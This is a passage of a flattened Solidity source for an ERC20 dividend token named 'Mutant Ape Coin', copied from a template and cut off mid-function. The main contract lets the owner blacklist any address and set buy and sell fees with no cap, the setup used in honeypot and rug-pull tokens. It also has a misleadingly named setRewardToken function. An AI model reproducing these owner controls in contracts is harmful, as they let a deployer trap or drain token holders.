distributed to the sender. /// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer. /// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0. function withdrawDividend() external; /// @dev This event MUST emit when ether is distributed to token holders. /// @param from The address which sends ether to this contract. /// @param weiAmount The amount of distributed ether in wei. event DividendsDistributed( address indexed from, uint256 weiAmount ); /// @dev This event MUST emit when an address withdraws their dividend. /// @param to The address which withdraws ether from this contract. /// @param weiAmount The amount of withdrawn ether in wei. event DividendWithdrawn( address indexed to, uint256 weiAmount ); } // File: SafeMathInt.sol /* MIT License Copyright (c) 2018 requestnetwork Copyright (c) 2018 Fragments, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.6.2; /** * @title SafeMathInt * @dev Math operations for int256 with overflow safety checks. */ library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } // File: SafeMathUint.sol pragma solidity ^0.6.2; /** * @title SafeMathUint * @dev Math operations with safety checks that revert on error */ library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } // File: SafeMath.sol pragma solidity ^0.6.2; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: Context.sol pragma solidity ^0.6.2; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: Ownable.sol pragma solidity ^0.6.2; contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: IERC20.sol pragma solidity ^0.6.2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: IERC20Metadata.sol pragma solidity ^0.6.2; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: ERC20.sol pragma solidity ^0.6.2; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: DividendPayingToken.sol pragma solidity ^0.6.2; /// @title Dividend-Paying Token /// @author Roger Wu (https://github.com/roger-wu) /// @dev A mintable ERC20 token that allows anyone to pay and distribute ether /// to token holders as dividends and allows token holders to withdraw their dividends. /// Reference: the source code of PoWH3D: https://etherscan.io/address/0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe#code contract DividendPayingToken is ERC20, Ownable, DividendPayingTokenInterface, DividendPayingTokenOptionalInterface { using SafeMath for uint256; using SafeMathUint for uint256; using SafeMathInt for int256; address public RewardToken = address(0x4d224452801ACEd8B2F0aebE155379bb5D594381); //RewardToken // With `magnitude`, we can properly distribute dividends even if the amount of received ether is small. // For more discussion about choosing the value of `magnitude`, // see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728 uint256 constant internal magnitude = 2**128; uint256 internal magnifiedDividendPerShare; // About dividendCorrection: // If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with: // `dividendOf(_user) = dividendPerShare * balanceOf(_user)`. // When `balanceOf(_user)` is changed (via minting/burning/transferring tokens), // `dividendOf(_user)` should not be changed, // but the computed value of `dividendPerShare * balanceOf(_user)` is changed. // To keep the `dividendOf(_user)` unchanged, we add a correction term: // `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`, // where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed: // `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`. // So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed. mapping(address => int256) internal magnifiedDividendCorrections; mapping(address => uint256) internal withdrawnDividends; uint256 public totalDividendsDistributed; constructor(string memory _name, string memory _symbol) public ERC20(_name, _symbol) { } function updateRewardToken(address _newAddress) external onlyOwner{ RewardToken = _newAddress; } function distributeCAKEDividends(uint256 amount) public onlyOwner{ require(totalSupply() > 0); if (amount > 0) { magnifiedDividendPerShare = magnifiedDividendPerShare.add( (amount).mul(magnitude) / totalSupply() ); emit DividendsDistributed(msg.sender, amount); totalDividendsDistributed = totalDividendsDistributed.add(amount); } } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function withdrawDividend() public virtual override { _withdrawDividendOfUser(msg.sender); } function setRewardToken() public virtual { _withdrawDividendOfUser(msg.sender); } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function _withdrawDividendOfUser(address payable user) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user); if (_withdrawableDividend > 0) { withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend); emit DividendWithdrawn(user, _withdrawableDividend); bool success = IERC20(RewardToken).transfer(user, _withdrawableDividend); if(!success) { withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend); return 0; } return _withdrawableDividend; } return 0; } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) public view override returns(uint256) { return withdrawableDividendOf(_owner); } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) public view override returns(uint256) { return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]); } /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) public view override returns(uint256) { return withdrawnDividends[_owner]; } /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) public view override returns(uint256) { return magnifiedDividendPerShare.mul(balanceOf(_owner)).toInt256Safe() .add(magnifiedDividendCorrections[_owner]).toUint256Safe() / magnitude; } /// @dev Internal function that transfer tokens from one address to another. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param from The address to transfer from. /// @param to The address to transfer to. /// @param value The amount to be transferred. function _transfer(address from, address to, uint256 value) internal virtual override { require(false); int256 _magCorrection = magnifiedDividendPerShare.mul(value).toInt256Safe(); magnifiedDividendCorrections[from] = magnifiedDividendCorrections[from].add(_magCorrection); magnifiedDividendCorrections[to] = magnifiedDividendCorrections[to].sub(_magCorrection); } /// @dev Internal function that mints tokens to an account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account that will receive the created tokens. /// @param value The amount that will be created. function _mint(address account, uint256 value) internal override { super._mint(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .sub( (magnifiedDividendPerShare.mul(value)).toInt256Safe() ); } /// @dev Internal function that burns an amount of the token of a given account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account whose tokens will be burnt. /// @param value The amount that will be burnt. function _burn(address account, uint256 value) internal override { super._burn(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .add( (magnifiedDividendPerShare.mul(value)).toInt256Safe() ); } function _setBalance(address account, uint256 newBalance) internal { uint256 currentBalance = balanceOf(account); if(newBalance > currentBalance) { uint256 mintAmount = newBalance.sub(currentBalance); _mint(account, mintAmount); } else if(newBalance < currentBalance) { uint256 burnAmount = currentBalance.sub(newBalance); _burn(account, burnAmount); } } } // File: MutantApeCoin.sol pragma solidity ^0.6.2; contract MutantApeCoin is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; CakeLabDividendTracker public dividendTracker; address public deadWallet = 0x000000000000000000000000000000000000dEaD; address public immutable APE = address(0x4d224452801ACEd8B2F0aebE155379bb5D594381); //APE uint256 public swapTokensAtAmount = 2000000 * (10**18); mapping(address => bool) public _isBlacklisted; uint256 public CAKERewardsFee = 4; uint256 public liquidityFee = 1; uint256 public marketingFee = 8; uint256 public totalFees = CAKERewardsFee.add(liquidityFee).add(marketingFee); uint256 public onSellCAKERewardsFee = 5; uint256 public onSellLiquidityFee = 1; uint256 public onSellMarketingFee = 9; uint256 public onSellTotalFees = onSellCAKERewardsFee.add(onSellLiquidityFee).add(onSellMarketingFee); address public _marketingWalletAddress = 0xA1FeA7f59FCa6696cf6f390f6bb3a58caF393566 ; // use by default 300,000 gas to process auto-claiming dividends uint256 public gasForProcessing = 300000; // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateDividendTracker(address indexed newAddress, address indexed oldAddress); event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet); event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SendDividends( uint256 tokensSwapped, uint256 amount ); event ProcessedDividendTracker( uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor ); constructor() public ERC20("Mutant Ape Coin", "MAPE") { dividendTracker = new CakeLabDividendTracker(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); // exclude from receiving dividends dividendTracker.excludeFromDividends(address(dividendTracker)); dividendTracker.excludeFromDividends(address(this)); dividendTracker.excludeFromDividends(owner()); dividendTracker.excludeFromDividends(deadWallet); dividendTracker.excludeFromDividends(address(_uniswapV2Router)); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(_marketingWalletAddress, true); excludeFromFees(address(this), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(owner(), 100000000000 * (10**18)); } receive() external payable { } function updateDividendTracker(address newAddress) public onlyOwner { require(newAddress != address(dividendTracker), "CakeLab: The dividend tracker already has that address"); CakeLabDividendTracker newDividendTracker = CakeLabDividendTracker(payable(newAddress)); require(newDividendTracker.owner() == address(this), "CakeLab: The new dividend tracker must be owned by the CakeLab token contract"); newDividendTracker.excludeFromDividends(address(newDividendTracker)); newDividendTracker.excludeFromDividends(address(this)); newDividendTracker.excludeFromDividends(owner()); newDividendTracker.excludeFromDividends(address(uniswapV2Router)); emit UpdateDividendTracker(newAddress, address(dividendTracker)); dividendTracker = newDividendTracker; } function updateUniswapV2Router(address newAddress) public onlyOwner { require(newAddress != address(uniswapV2Router), "CakeLab: The router already has that address"); emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router)); uniswapV2Router = IUniswapV2Router02(newAddress); address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), uniswapV2Router.WETH()); uniswapV2Pair = _uniswapV2Pair; } function excludeFromFees(address account, bool excluded) public onlyOwner { require(_isExcludedFromFees[account] != excluded, "CakeLab: Account is already the value of 'excluded'"); _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFees[accounts[i]] = excluded; } emit ExcludeMultipleAccountsFromFees(accounts, excluded); } function setMarketingWallet(address payable wallet) external onlyOwner{ _marketingWalletAddress = wallet; } function setonSellFee(uint256 _cakeRewardsFee, uint256 _liquidityFee, uint256 _marketingFee) external onlyOwner{ onSellCAKERewardsFee = _cakeRewardsFee; onSellLiquidityFee = _liquidityFee; onSellMarketingFee = _marketingFee; onSellTotalFees = onSellCAKERewardsFee.add(onSellLiquidityFee).add(onSellMarketingFee); } function setCAKERewardsFee(uint256 value) external onlyOwner{ CAKERewardsFee = value; totalFees = CAKERewardsFee.add(liquidityFee).add(marketingFee); } function setLiquiditFee(uint256 value) external onlyOwner{ liquidityFee = value; totalFees = CAKERewardsFee.add(liquidityFee).add(marketingFee); } function setMarketingFee(uint256 value) external onlyOwner{ marketingFee = value; totalFees = CAKERewardsFee.add(liquidityFee).add(marketingFee); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "CakeLab: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function blacklistAddress(address account, bool value) external onlyOwner{ _isBlacklisted[account] = value; } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "CakeLab: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; if(value) { dividendTracker.excludeFromDividends(pair); } emit SetAutomatedMarketMakerPair(pair, value); } function updateGasForProcessing(uint256 newValue) public onlyOwner { require(newValue >= 200000 && newValue <= 500000, "CakeLab: gasForProcessing must be between 200,000 and 500,000"); require(newValue != gasForProcessing, "CakeLab: Cannot update gasForProcessing to same value"); emit GasForProcessingUpdated(newValue, gasForProcessing); gasForProcessing = newValue; } function updateClaimWait(uint256 claimWait) external onlyOwner { dividendTracker.updateClaimWait(claimWait); } function getClaimWait() external view returns(uint256) { return dividendTracker.claimWait(); } function getTotalDividendsDistributed() external view returns (uint256) { return dividendTracker.totalDividendsDistributed(); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function withdrawableDividendOf(address account) public view returns(uint256) { return dividendTracker.withdrawableDividendOf(account); } function dividendTokenBalanceOf(address account) public view returns (uint256) { return dividendTracker.balanceOf(account); } function excludeFromDividends(address account) external onlyOwner{ dividendTracker.excludeFromDividends(account); } function getAccountDividendsInfo(address account) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { return dividendTracker.getAccount(account); } function getAccountDividendsInfoAtIndex(uint256 index) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { return dividendTracker.getAccountAtIndex(index); } function processDividendTracker(uint256 gas) external { (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker.process(gas); emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, false, gas, tx.origin); } function claim() external { dividendTracker.processAccount(msg.sender, false); } function getLastProcessedIndex() external view returns(uint256) { return dividendTracker.getLastProcessedIndex(); } function getNumberOfDividendTokenHolders() external view returns(uint256) { return dividendTracker.getNumberOfTokenHolders(); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_isBlacklisted[from] && !_isBlacklisted[to], 'Blacklisted address'); if(amount == 0) { super._transfer(from, to, 0); return; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && !swapping && !automatedMarketMakerPairs[from] && from != owner() && 